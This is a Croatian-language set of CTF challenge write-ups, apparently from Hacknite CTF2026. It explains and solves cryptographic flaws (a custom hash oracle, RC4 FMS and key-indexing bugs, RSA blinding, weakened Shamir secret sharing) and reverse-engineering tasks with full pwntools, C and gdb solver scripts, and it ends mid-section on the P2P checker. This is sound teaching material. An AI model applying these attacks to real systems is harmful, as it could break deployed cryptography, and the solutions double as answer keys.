Razvijen je novi hashing algoritam koji je trenutačno u beta testiranju. Možete li pronaći ranjivost tako da otkrijete koji je bio uneseni flag iz kojega je dobiven "flag hash" prikazan spajanjem na zadatak? Možete slati 3 zahtjeva po minuti, ali u svakom zahtjevu možete zadati 500 unosa odvojenih zarezom za izračun hasha. Napomena: Flag je u uobičajenom formatu ( CTF2026[<12 znamenki>] ) Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16003
Kontekst zadatka
Nije dan izvorni kod. Iz opisa zadatka: Nepoznati hash algoritam. Rate limit je 3 zahtjeva po minuti gdje jedan zahtjev može poslati 500 unosa za koje poslužitelj vraća hasheve.
Ranjivost i ideja napada
Svaka pozicija u unosu utječe na samo 3-5 (nasumičnih) izlaznih pozicija gdje izlazne pozicije mogu biti iste. PRNG koji određuje koja ulazna pozicija utječe na koje izlazne pozicije se temelji na dužini unosa te je poznato da je zastavica duljine 21.
Statistički, za određenu dužinu unosa, na neku izlaznu poziciju će utjecati samo jedna jedina pozicija unosa.
Ovakve izlazne pozicije su “sidra” (eng. anchor). Kad se detektiraju, mogu
se sa sigurnošću riješiti unutar 10 zahtjeva jer njihove vrijednosti mogu biti jedino znamenke 0-9.
Jedno “sidro” izlazne pozicije sa sigurnošću određuje koji je znak na jednoj unosnoj poziciji, čime se riješe i ostale 2-4 pozicije na koje ta unosna pozicija utječe.
Tako neke izlazne pozicije na koje utječu 3,4 ili 5 ulaznih pozicija, nakon rješavanja svih “sidrenih” pozicija padaju u kompleksnosti, neke indirektno budu riješene ili postaju nove sidrene pozicije.
Ovakvim pristupom brzo se rekonstruira traženi input. U većini slučajeva je dovoljno 4 zahtjeva ili manje.
Rješenje
import time import sys from pwn import * HOST = "chal.platforma.hacknite.hr" PORT = 14045 FIND_ALL_COLLISIONS = True context.log_level = 'error' class Oracle: def __init__(self): self.p = None self.target_hash = "" self.minute_start = 0 self.requests_this_minute = 0 self.total_network_requests = 0 self.connect() def connect(self): if self.p: self.p.close() print("\n[*] (Re)Connecting to Oracle... (Waiting 3s for server delay)") self.p = remote(HOST, PORT) self.p.recvuntil(b"Flag Hash: ") self.target_hash = self.p.recvline().strip().decode() self.p.recvuntil(b"requests...\n\n") self.minute_start = time.time() self.requests_this_minute = 0 def get_hashes(self, payloads): now = time.time() if now - self.minute_start > 60: self.minute_start = now self.requests_this_minute = 0 if self.requests_this_minute >= 3: sleep_time = 60 - (now - self.minute_start) + 1 print(f"\n[SYSTEM] Rate limit approaching (3 req/min).") print(f"[*] Sleeping for {sleep_time:.1f} seconds to respect limits (Connection kept alive)...") time.sleep(sleep_time) self.minute_start = time.time() self.requests_this_minute = 0 self.requests_this_minute += 1 self.total_network_requests += 1 print(f"\n[NETWORK] Sending Request #{self.total_network_requests} (Batch Size: {len(payloads)}/100)") batched_payload = ",".join(payloads) self.p.sendline(batched_payload.encode()) resp = self.p.recvline().strip().decode() hashes = resp.split(",") if self.target_hash in hashes: win_idx = hashes.index(self.target_hash) winning_payload = payloads[win_idx] print("\n" + "="*50) print(" SERVER VALIDATED COLLISION ") print(f" -> Winning Payload: {winning_payload}") try: victory_text = self.p.recvall(timeout=1).decode().strip() print(f"\n{victory_text}") except: pass print("="*50 + "\n") if not FIND_ALL_COLLISIONS: sys.exit(0) else: print("[!] FIND_ALL_COLLISIONS is True. Reconnecting to continue search...") self.connect() return [] # Returning empty array forces the solver to backtrack return hashes oracle = Oracle() print(f"[*] Target Hash: {oracle.target_hash}") print("\n" + "="*40) print(" PHASE 1: MAPPING DEPENDENCY GRAPH") print("="*40) payloads = ["CTF2026[000000000000]"] for i in range(12): guess = list("000000000000") guess[i] = "1" payloads.append(f"CTF2026[{''.join(guess)}]") results = oracle.get_hashes(payloads) base_hash = results[0] hashes = results[1:] rev_deps = {i: [] for i in range(32)} input_to_outputs = {i: [] for i in range(12)} for input_idx in range(12): h = hashes[input_idx] for out_idx in range(32): if h[out_idx] != base_hash[out_idx]: rev_deps[out_idx].append(input_idx) input_to_outputs[input_idx].append(out_idx) print("\n[+] Mapping Complete. Displaying Graph:\n") for i in range(12): print(f" Input Position {i:2d} -> Affects Output Indices: {input_to_outputs[i]}") print("\n[+] Displaying Output Anchors (Outputs affected by minimal inputs):") for out_idx in range(32): if len(rev_deps[out_idx]) > 0: print(f" Output Index {out_idx:2d} depends on Inputs: {rev_deps[out_idx]}") print("\n" + "="*40) print(" PHASE 2: CASCADING SOLVER") print(f" FIND_ALL_COLLISIONS = {FIND_ALL_COLLISIONS}") print("="*40) found_solutions = [] def solve(known_digits, depth=0): if all(d is not None for d in known_digits): payload = f"CTF2026[{''.join(known_digits)}]" h = oracle.get_hashes([payload]) if not h: found_solutions.append(''.join(known_digits)) return True if h[0] == oracle.target_hash: found_solutions.append(''.join(known_digits)) return True return False indent = " " * depth anchors = [] # Format: (out_idx, unk_pos) for out_idx in range(32): deps = rev_deps[out_idx] unknowns = [pos for pos in deps if known_digits[pos] is None] if len(unknowns) == 1: unk_pos = unknowns[0] # Ensure we only target each unknown position once per batch if not any(a[1] == unk_pos for a in anchors): anchors.append((out_idx, unk_pos)) if anchors: anchors = anchors[:10] print(f"{indent}[*] PARALLEL ANCHORS FOUND: Gathering guesses for Inputs: {[a[1] for a in anchors]}") payloads = [] for (out_idx, unk_pos) in anchors: for guess in range(10): test_state = list(known_digits) test_state[unk_pos] = str(guess) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") results = oracle.get_hashes(payloads) if not results: return False new_known = list(known_digits) success = True idx = 0 for (out_idx, unk_pos) in anchors: found_match = False for guess in range(10): if idx < len(results) and results[idx][out_idx] == oracle.target_hash[out_idx]: print(f"{indent} -> [Match] Input {unk_pos} = {guess} aligns Output {out_idx}!") new_known[unk_pos] = str(guess) found_match = True idx += 1 if not found_match: print(f"{indent}[X] Conflict at Input {unk_pos}. Backtracking...") success = False break if success: return solve(new_known, depth + 1) return False else: min_unknowns = 99 best_out_idx = -1 best_unks = [] for out_idx in range(32): deps = rev_deps[out_idx] unknowns = [pos for pos in deps if known_digits[pos] is None] if 0 < len(unknowns) < min_unknowns: min_unknowns = len(unknowns) best_out_idx = out_idx best_unks = unknowns if min_unknowns == 2: u1, u2 = best_unks print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} affected by Inputs {u1}, {u2}. Batching 100 cross-guesses...") payloads = [] guesses = [] for g1 in range(10): for g2 in range(10): test_state = list(known_digits) test_state[u1] = str(g1) test_state[u2] = str(g2) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") guesses.append((g1, g2)) results = oracle.get_hashes(payloads) if not results: return False branch_success = False for i, (g1, g2) in enumerate(guesses): if i < len(results) and results[i][best_out_idx] == oracle.target_hash[best_out_idx]: print(f"{indent} -> [Branch Match] Inputs ({u1}={g1}, {u2}={g2}) align Output {best_out_idx}! Branching...") new_known = list(known_digits) new_known[u1] = str(g1) new_known[u2] = str(g2) if solve(new_known, depth + 1): branch_success = True if not FIND_ALL_COLLISIONS: return True return branch_success else: # Fallback for 3+ dependencies u1 = best_unks[0] print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} heavily dependent. Blind branching Input {u1}...") payloads = [] for guess in range(10): test_state = list(known_digits) test_state[u1] = str(guess) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") results = oracle.get_hashes(payloads) if not results: return False branch_success = False for guess in range(10): print(f"{indent} -> [Blind Branch] Guessing Input {u1} = {guess}...") new_known = list(known_digits) new_known[u1] = str(guess) if solve(new_known, depth + 1): branch_success = True if not FIND_ALL_COLLISIONS: return True return branch_success solve([None] * 12) print("\n" + "="*40) print(f" SOLVE COMPLETE. TOTAL NETWORK REQUESTS: {oracle.total_network_requests}") if found_solutions: print(f" Found {len(found_solutions)} valid 12-digit collision(s):") for sol in found_solutions: print(f" CTF2026[{sol}]") else: print(" No solutions found.") print("="*40)
RC4 Encrpyt
Pronađena je usluga za RC4 enkripciju. Možeš li saznati tajni ključ? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16007
Kontekst zadatka
Izvorni kod:
#!/usr/bin/python3 from secret import flag #12 znamenki import sys, os, time i1 = 0 j1 = 0 def KSA(key): S = [i for i in range(256)] j = 0 for i in range(256): j = (j + S[i] + key[i % 12]) % 256 S[i], S[j] = S[j], S[i] global i1 global j1 i1 = j1 = 0 return S def get_keystream(S): global i1 global j1 i1 = (i1 + 1) % 256 j1 = (j1 + S[i1]) % 256 S[i1], S[j1] = S[j1], S[i1] t = (S[i1] + S[j1]) % 256 return S[t].to_bytes() def encrypt(poruka, S): encryption = b"" for i in range(len(poruka)): b = get_keystream(S) encryption += (poruka[i] ^ ord(b)).to_bytes() return encryption def print_encryption(encryption): print("Enkripcija: ", end = "", flush = True) for i in range(len(encryption)): for j in range(32, 48): sys.stdout.buffer.write(j.to_bytes()) sys.stdout.flush() time.sleep(0.004) print("\033[D\033[P", end = "", flush = True) sys.stdout.buffer.write(encryption[i:i+1]) sys.stdout.flush() print() try: while(True): os.system("clear") os.system("figlet -f big RC4 Encrypt") i1 = 0 ij = 0 print("\nUnesite inicijalizacijski vektor za svoj session: ", end = "", flush = True) IV = sys.stdin.buffer.readline().rstrip(b"\n") print("\033[1A\033[J", end = "", flush = True) S = KSA(IV + flag) print("Prazan unos ponovno pokreće inicijalizaciju!") while(True): print("Unesite poruku: ", end = "", flush = True) poruka = sys.stdin.buffer.readline().rstrip(b"\n") if poruka == b"": break encryption = encrypt(poruka, S) print_encryption(encryption) except Exception as e: exit(0)
U skripti je implementiran RC4 algoritam za enkripciju. Program na početku pita korisnika
za inicijalizacijski vektor koji se koristi kao prefiks tajnom ključu. Kombinacija inicijalizacijskog
vektora i tajnog ključa se zatim koristi za inicijalizaciju niza bajtova keystream.
Nakon inicijalizacije, korisnik može poslati poruku koja se enkriptira operacijom XOR nad poslanim bajtom
i bajtom iz niza keystream. U slučaju slanja prazne poruke (samo \n), program se resetira i ponovno kreće od upita
za inicijalizacijski vektor.
Ranjivost i ideja napada
Ranjivost 1
RC4 je enkripcija s poznatom ranjivošću. Ako korisnik kontrolira inicijalizacijski vektor, može izvršiti
FMS napad na enkripciju. Posebnim unosom u inicijalizacijski vektor, niz bajtova iz keystream će
imati preferenciju vraćati bajt na određenom indeksu (pod napadačevom kontrolom) ključa.
Za izvođenje napada, inicijalizacijski vektor IV mora biti u obliku:
[A + 3, 255, N]
gdje je A indeks ključa nad kojim se vrši bruteforce (+ 3 jer je duljina IV 3), a N bajt u
rasponu 0-255 (ne uključujući \n zbog implementacije programa).
Izvođenjem bruteforce napada s varijabilnim N, u 255 vrtnji najviše će se pojaviti bajt na indeksu A+3
unutar tajnog ključa. Što je indeks dalje od početka ključa, preferencija postaje manje precizna.
Dakle, napadač vršenjem FMS napada može saznati bajtove ključa (znamenke zastavice) do određenog indeksa.
Ako zatim bruteforce napadom pretpostavi ostale znamenke ključa i lokalno inicijalizira keystream te
prati odgovara li njegov izlaz izlazu poslužitelja može otkriti tajni ključ.
Rješenje 1
FMS:
#!/usr/bin/python3 from pwn import * def simulate(IV, recovered, A): key = IV + recovered S = list(range(256)) j = 0 for i in range(len(key)): j = (j + S[i] + key[i]) % 256 S[i], S[j] = S[j], S[i] return S, j def FMS(A, recovered): table = [0 for _ in range(256)] payload = b"" if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") for v in range(256): if chr(v) == "\n": continue IV = (A+3).to_bytes() + b"\xff" + v.to_bytes() payload += IV + b"\n" + b"\x00\n\n" p.send(payload) for v in range(256): if chr(v) == "\n": continue p.recvuntil(b"Enkripcija: ") keystream = p.recvline()[-2:-1] print(keystream) IV = (A+3).to_bytes() + b"\xff" + v.to_bytes() S_simulated, j = simulate(IV, recovered, A) flag_byte = (int.from_bytes(keystream) - j - S_simulated[A+3]) % 256 table[flag_byte] += 1 if args.R: p.close() else: p.kill() max_found = 0 index = -1 for i,v in enumerate(table): if v > max_found: max_found = v index = i print(f"Byte: {index.to_bytes()} Times: {max_found}") return index.to_bytes() recovered = b"" for i in range(12): num = FMS(i, recovered) if ord(num) < 0x30 or ord(num) > 0x39: break recovered += num print(f"Found: {recovered}") os.system(f"./a.out {recovered.decode()}")
Bruteforce ostalih znamenki:
#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <time.h> unsigned char buf[32]; unsigned long max_iter = 1000000000000ULL; unsigned char S[256]; unsigned long iterations = 0; time_t start_time; unsigned char key_input[13] = "000000000000"; void test_keys() { unsigned char key[12]; unsigned char test_buf[32]; for (unsigned char i0 = key_input[0]; i0 < 0x3a; i0++) { for (unsigned char i1 = key_input[1]; i1 < 0x3a; i1++) { for (unsigned char i2 = key_input[2]; i2 < 0x3a; i2++) { for (unsigned char i3 = key_input[3]; i3 < 0x3a; i3++) { for (unsigned char i4 = key_input[4]; i4 < 0x3a; i4++) { for (unsigned char i5 = key_input[5]; i5 < 0x3a; i5++) { for (unsigned char i6 = key_input[6]; i6 < 0x3a; i6++) { for (unsigned char i7 = key_input[7]; i7 < 0x3a; i7++) { for (unsigned char i8 = key_input[8]; i8 < 0x3a; i8++) { for (unsigned char i9 = key_input[9]; i9 < 0x3a; i9++) { for (unsigned char i10 = key_input[10]; i10 < 0x3a; i10++) { for (unsigned char i11 = key_input[11]; i11 < 0x3a; i11++) { key[0] = i0; key[1] = i1; key[2] = i2; key[3] = i3; key[4] = i4; key[5] = i5; key[6] = i6; key[7] = i7; key[8] = i8; key[9] = i9; key[10] = i10; key[11] = i11; for (int i = 0; i < 256; i++) S[i] = i; int j = 0; for (int i = 0; i < 256; i++) { j = (j + S[i] + key[i % 12]) & 0xFF; unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp; } unsigned int i = 0; j = 0; int found = 1; for (int x = 0; x < 32; x++) { i = (i + 1) & 0xFF; j = (j + S[i]) & 0xFF; unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp; unsigned char t = (S[i] + S[j]) & 0xFF; if (S[t] != buf[x]) { found = 0; break; } } iterations++; if (found) { printf("\n\nKEY: %.12s\n", key); return; } }}}}}}}}}}}} } int main(int argc, char** argv) { if(argc < 2){ printf("Usage: %s <argument>\n", argv[0]); return 0; } argv[1][strcspn(argv[1], "\n")] = '\0'; if(strlen(argv[1]) > 12){ printf("Argument smije imati najviše 12 znamenki\n"); return 0; } for(int i = 0; i < strlen(argv[1]); i++){ if (argv[1][i] < 0x30 || argv[1][i] > 0x39){ printf("Key smije imati samo brojeve\n"); return 0; } key_input[i] = argv[1][i]; } int fd = open("./keystream.txt", O_RDONLY); if (fd < 0) { printf("Could not open keystream.txt\n"); return 1; } read(fd, buf, 32); close(fd); test_keys(); return 0; }
Keystream.txt je datoteka koja sadrži niz bajtova iz keystream niza poslužitelja s praznim
inicijalizacijskim vektorom.
Ranjivost 2
Program sadrži grešku u implementaciji RC4 enkripcije, specifično u funkciji za inicijalizaciju keystream niza:
j = (j + S[i] + key[i % 12]) % 256
S obzirom na to da je duljina ključa veća od 12, ako inicijalizacijski vektor nije prazan, ključ se može dobiti kontroliranjem duljine inicijalizacijskog vektora.
Ako se pošalje IV duljine 11, 12. bajt je prva znamenka zastavice te je uključena u inicijalizaciju keystream niza.
Ako se zatim bruteforce napadom pretpostavi 12. bajt (znamenka 0-9) i usporedi izlaz s originalnim, može se otkriti prva znamenka
zastavice. Ostatak zastavice se otkrije slanjem kraćeg IV (od duljine 10 do 0 ovisno o broju otkrivenih znamenki) te ponovnim
izvođenjem bruteforce napada na zadnji bajt ključa.
Rješenje 2
from pwn import * if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") key = b"" for i in range(12): p.sendline(b"A" * (11-i)) p.sendline(b"\x00"*4) p.recvuntil(b"Enkripcija: ") keystream = p.recvline()[-2:-1] for j in range(10): p.sendline() p.sendline(b"A" * (11-i) + key + chr(0x30 + j).encode()) p.sendline(b"\x00"*4) p.recvuntil(b"Enkripcija: ") keystream2 = p.recvline()[-2:-1] if keystream2 == keystream: key += chr(0x30+j).encode() print(key) break p.sendline() print(f"Flag: CTF2026[{key}]")
RSA Log In
Kako bi se korisnik prijavio, potreban mu je ispravan potpis za njegovo korisničko ime. Probaj se prijaviti! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16004
Kontekst zadatka
Izvorni kod:
#!/usr/bin/python3 from Crypto.Util.number import * from secret import * import os import sys def log_in(): try: username = input("Unesi korisničko ime: ") signature = int(input("Unesi potpis korisničkog imena: ")) username2 = pow(signature, e, N) username2 = long_to_bytes(username2).decode() if username == username2: print(f"Dobrodošao {username}") if username == "Admin": print(f"{flag=}") else: print("Neispravan potpis") exit() except: exit() def register(): try: print("Unesi korisničko ime: ", flush = True) username = sys.stdin.buffer.readline().strip(b"\n") u = bytes_to_long(username) u = u % N username = long_to_bytes(u) if username == b"Admin": print("Zabranjeno") exit() username = bytes_to_long(username) signature = pow(username, d, N) print(f"Potpis = {signature}") except: exit() os.system("figlet -f big RSA Log In") print(f"\n{N=}") print(f"{e=}\n") print("Odaberi opciju:") print("1. Registracija\n2. Prijava") opcija = input("Opcija [1/2]: ") if opcija == "1": register() elif opcija == "2": log_in()
Korisniku su ponuđene opcije registracije i prijave.
Kako bi se registrirao, potrebno je unijeti korisničko ime, nakon čega poslužitelj vraća digitalni potpis korisničkog imena.
Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis.
Ranjivost i ideja napada
Digitalni potpis ne koristi hash, zbog čega je moguć Blinding napad. Blinding napadom može se dobiti proizvoljan potpis slanjem poruke:
(M * pow(i,e,N)) % N
gdje je M tekst nad kojim se želi dobiti potpis.
Poslužitelj potpisuje svojim privatnim ključem d i vraća:
pow(M * pow(i,e),d) = M**d * i (mod N)
Jednostavnim množenjem s inverzom broja i dobije se potpis za M.
Rješenje
from pwn import * from Crypto.Util.number import * if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") p.recvuntil(b"N=") N = int(p.recvline()[:-1]) p.recvuntil(b"e=") e = int(p.recvline()[:-1]) p.sendline(b"1") p.recvuntil("Unesi korisničko ime".encode("UTF-8")) username = bytes_to_long(b"Admin") i = 2 username_bytes = b"" while(True): u = (username * pow(i, e, N)) % N u = long_to_bytes(u) if b"\n" in u: i += 1 continue username_bytes = u break p.sendline(username_bytes) p.recvuntil(b"Potpis = ") signature = int(p.recvline()[:-1]) signature = (signature * inverse(i, N)) % N if args.R: p.close() p = remote(HOST, PORT) else: p.kill() p = process("./zadatak.py") p.sendline(b"2") p.sendline(b"Admin") p.sendline(str(signature).encode()) p.recvuntil(b"flag=") flag = p.recvline() print(flag)
Secret Sharing
Podijeljena je tajna poruka SSS algoritmom, međutim, podijeljeno je premalo točaka kako bi se poruka ispravno rekonstruirala. Možeš li i dalje doći do nje? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16006
Kontekst zadatka
Izvorni kod:
#!/usr/bin/python3 from Crypto.Util.number import * import random, os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) os.system("figlet -f big Secret sharing") def gen_key(): key = [random.randint(1,256) for _ in range(32)] return key key = gen_key() key[0] = flag N = getPrime(256) print(f"\nN = {N}\n") try: coef = input("Odaberi svoj koeficijent [1-N]: ") key[31] = abs(int(coef)) % N except: exit() def get_y(x): y = 0 for i in range(32): y += key[i]*x**i return pow(y,1,N) print("\nTočke:") for _ in range(29): x = random.randint(1,1000) y = get_y(x) print(f"({x},{y})")
Program koristi Shamir Secret Sharing (SSS) algoritam za dijeljenje tajne poruke. Na početku programa korisnika se pita za njegov proizvoljni koeficijent, nakon čega se ispiše 29 točaka koje pripadaju zadanom polinomu.
Ranjivost i ideja napada
Kako bi se otkrila tajna poruka za polinom stupnja 31, potrebno je znati 32 točke. S obzirom na to da se korisnika pita za njegov proizvoljni koeficijent za član stupnja 31, korisnik može unijeti 0, što snižava polinom u stupanj 30. Time se smanjuje broj potrebnih točaka za rekonstrukciju poruke na 31.
Koeficijenti polinoma odabrani su na sljedeći način:
def gen_key(): key = [random.randint(1,256) for _ in range(32)] return key
Svaki koeficijent nalazi se u rasponu 1-255.
Kako bi se zadatak riješio, potrebno je bruteforce napadom pretpostaviti koeficijente uz članove stupnja 30 i 29 i
konstruirati polinom. Ako rekonstrukcijom koeficijent na indeksu 0 počinje s CTF2026, odabrana su ispravna dva
koeficijenta.
Rješenje
from sage.all import * from Crypto.Util.number import * from pwn import * found = 0 points = [] if args.R: p = remote(HOST, PORT) else: p = process(["python3","zadatak.py"]) p.recvuntil(b"N = ") N = int(p.recvline()[:-1]) p.sendline(b"0") p.recvuntil("Točke:\n".encode()) for i in range(29): point = p.recvline()[:-1] x,y = point.strip(b"()").split(b",") points.append((int(x),int(y))) if args.R: p.close() else: p.kill() PR = PolynomialRing(GF(N), "x") print("Bruteforce (do 256):") for i in range(256): print(f"{i=}") for j in range(256): try: modified_points = [] for index, p in enumerate(points): x, y = p y = (y - (i+1)*x**30 - (j+1)*x**29) % N modified_points.append((x,y)) F = PR.lagrange_polynomial(modified_points) secret = long_to_bytes(int(F[0])) if b"CTF2026" in secret: print(secret) found = 1 break except: pass if found: break if not found: print("Unlucky, probaj opet")
Reverzno inženjerstvo
Game Rev 2
Možete li pronaći easter egg?
Kontekst zadatka
Dane su binarna datoteka battleship_core i python3 skripta gui.py.
Pokretanjem korisnik može igrati igru potapanja brodova s računalom.
Skripta gui.py pokreće datoteku battleship_core koja je od pravog interesa.
Pokretanjem u Ghidri dobije se kod:
setvbuf(stdout,0,2,0); tVar2 = time((time_t *)0x0); srandom((uint)tVar2); init_boards(); place_ships_randomly(ai_ships,ai_ships_init); place_ships_randomly(pl_ships,pl_ships_init); puts("======================================="); puts(" BATTLESHIP - TERMINAL EDITION "); puts("======================================="); while( true ) { print_boards(); printf("\nTarget coordinates (Row Col) or \'Q\' to quit: "); lVar3 = fgets(acStack_16,10,stdin); if (lVar3 == 0) { return 0; if ((acStack_16[0] == 'Q') || (acStack_16[0] == 'q')) break; iVar1 = __isoc99_sscanf(acStack_16," %c %d",&cStack_17,&uStack_1c); if ((iVar1 == 2) || (iVar1 = __isoc99_sscanf(acStack_16," %c%d",&cStack_17,&uStack_1c), iVar1 == 2)) { iVar1 = toupper((int)cStack_17); iStack_c = cStack_17 + -0x41; if (((-1 < iStack_c) && (((iStack_c < 10 && (-1 < (int)uStack_1c)) && ((int)uStack_1c < 10)))) && (ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] == '~')) { record_player_move(iStack_c,uStack_1c); printf("\n>> You fire at %c%d... ",(ulong)(uint)(int)cStack_17,(ulong)uStack_1c); if (ai_ships[(long)iStack_c * 10 + (long)(int)uStack_1c] == 'S') { ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x48; puts(&DAT_00497102); ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x4d; puts("MISS."); ppuVar4 = __ctype_b_loc(); if (((*ppuVar4)[(long)player_turn_count + 0x30] & 0x800) != 0) { verify_integrity(); iVar1 = check_victory(ai_view); if (iVar1 != 0) { puts("\n*** YOU DEFEATED THE ENEMY FLEET! ***"); save_game_log(); return 0; ai_turn(); iVar1 = check_victory(pl_view); if (iVar1 != 0) { puts("\n*** YOUR FLEET WAS DESTROYED. AI WINS! ***"); save_game_log(); return 0; save_game_log(); return 0;
Ranjivost i ideja napada
Sljedeća funkcija ispisuje zastavicu ako je zadovoljen određeni uvjet:
void verify_integrity(void) { long lVar1; int local_24; ulong local_20; int local_18; int local_14; long local_10; local_10 = 1; for (local_14 = 2; local_14 < 8; local_14 = local_14 + 1) { for (local_18 = 1; local_18 < 8; local_18 = local_18 + 1) { if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') { lVar1 = get_prime(local_18 + local_14 * 7 + -0xf); local_10 = lVar1 * local_10; } } } if (local_10 == 0x129cf909ab3fb31) { local_20 = 0x1337beefcafebbff; for (local_24 = 0; local_24 < 100; local_24 = local_24 + 1) { local_20 = ((long)local_24 + (local_20 << 5 ^ local_20 >> 0x1b) + (ulong)(ai_view[(long)(local_24 / 10) * 10 + (long)(local_24 % 10)] != '~')) * 0x100000001b3; } printf("FLAG: CTF2026[%012llu]\n",local_20 % 1000000000000); } return; }
Ključna linija je:
if (local_10 == 0x129cf909ab3fb31)
Varijabla local_10 inicijalizira se na vrijednost jedan te se množi rezultatom funkcije get_prime.
Faktorizacija vrijednosti 0x129cf909ab3fb31 je:
0x129cf909ab3fb31 = 3 * 13 * 109 * 149 * 157 * 163 * 167 * 173 * 179
Drugim riječima, rezultati get_prime funkcije moraju biti jednaki navedenim faktorima.
Kako bi se get_prime funkcija izvršila, mora biti zadovoljen uvjet:
if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') {
Polje ai_view predstavlja stanje (ne)pogođenih koordinata koje je korisnik unio.
Prvobitno su sve vrijednosti polja inicijalizirane na vrijednost ~. Ako je korisnik
pogodio vrijednost se izmijeni na H, a ako je promašio na vrijednost M. Ovo
se može potvrditi debuggingom programa nakon svakog unosa korisnika.
Drugim riječima, unos u funkciju get_prime ovisi o koordinatama koje je korisnik unio.
Kako bi se dobila ispravna vrijednost varijable local_10 potrebno je unijeti
koordinate za koje će funkcija get_prime vratiti ispravan faktor.
Kako bi se saznale ispravne koordinate, dovoljno je enumerirati sve ulaze i izlaze
funkcije get_prime te ovisno o izlazu odrediti koja koordinata je odgovorna za njega.
Puno je načina kojima se to može postići. Rješenje koristi gdb skriptu.
Najprije se postavlja breakpoint na početak funkcije verify_integrity nakon
čega se izmijene svi bajtovi polja ai_view u vrijednost H.
Zatim se postavlja breakpoint na instrukciju nakon call get_prime kako bi se provjerila
vrijednost u rax registru. Ako vrijednost odgovara nekom od potrebnih faktora ispisuje
se vrijednost local_14, odnosno dword ptr [rbp-0xC], te vrijednost
varijable local_18, odnosno dword ptr [rbp-0x10].
Rješenje
python factors = [3,13,109,149,157,163,167,173,179] rows = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'] end b *0x0000000000401b8f commands silent python ai_view = 0x4c7620 for i in range(100): gdb.execute(f"set *(char*){ai_view+i} = 'H'") end c end b *0x0000000000401bfa commands silent python prime = int(gdb.parse_and_eval("(int)$rax")) if prime in factors: row = gdb.parse_and_eval("*(int*)($rbp-0x0c)") column = gdb.parse_and_eval("*(int*)($rbp-0x10)") print(f"{rows[row]}{int(column)}") end c end r < <(echo "A0")
Pokrenuti skriptu unutar gdb-a s naredbom source script.gdb.
P2P Checker
Neobičan password checker je pronađen, navodno inspiriran torrent protokolom. Možete li saznati koji je točan password?
Kontekst zadatka
Dane su binarna datoteka i skripta za pokretanje. Skripta za pokretanje provjerava validnost naredbenog argumenta te ga prosljeđuje datoteci:
#!/bin/sh if [ "$#" -ne 1 ]; then echo "Usage: $0 <password>" echo "Example: $0 'CTF2026[123456789012]'" exit 1 fi USER_INPUT="$1" case "$USER_INPUT" in CTF2026\[[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\]) exec ./challenge "$USER_INPUT" ;; *) echo "[-] Invalid format!" echo "[-] Expected format: CTF2026[12-digit-number]" exit 1 ;; esac
Analizom datoteke unutar Ghidre dobije se glavna funkcija:
undefined8 main(int param_1,long param_2) { __pid_t _Var1; int iVar2; undefined8 uVar3; long in_FS_OFFSET; int local_a0; int local_9c; undefined8 local_98; undefined4 local_90; undefined4 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 == 2) { signal(0xe,clexit); alarm(10); signal(2,clexit); signal(0xf,clexit); m_q_id = msgget(-0x3f8fdd59,0x3b6); msgctl(m_q_id,0,(msqid_ds *)0x0); m_q_id = msgget(-0x3f8fdd59,0x3b6); printf("[~] Network boot"); fflush((FILE *)stdout); for (local_a0 = 0; local_a0 < 4; local_a0 = local_a0 + 1) { _Var1 = fork(); if (_Var1 == 0) { m_p_id = local_a0; iVar2 = dbgd(); if (iVar2 != 0) { d_code = ~d_code; } distdis(); torr(*(undefined8 *)(param_2 + 8)); uVar3 = 0; goto LAB_004028eb; } } local_98 = 10; local_90 = 1; local_88 = 0; local_80 = INIT_C_S; local_78 = DAT_004ae0e8; local_70 = DAT_004ae0f0; local_68 = DAT_004ae0f8; msgsnd(m_q_id,&local_98,0x78,0); for (local_9c = 0; local_9c < 4; local_9c = local_9c + 1) { wait((void *)0x0); } msgctl(m_q_id,0,(msqid_ds *)0x0); uVar3 = 0; } else { uVar3 = 1; } LAB_004028eb: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar3; }
Program postavlja alarm, nakon čega poziva fork četiri puta.
Funkcija dbgd čita trenutno stanje TracerPid vrijednosti procesa koja
se koristi za anti-debugging provjeru.
Funkcija distdis se koristi za sinkronizaciju stvorenih procesa. Unutar nje,
procesi si međusobno šalju podatke funkcijama msgsnd i msgrcv.
Funkcija torr provjerava validnost zastavice:
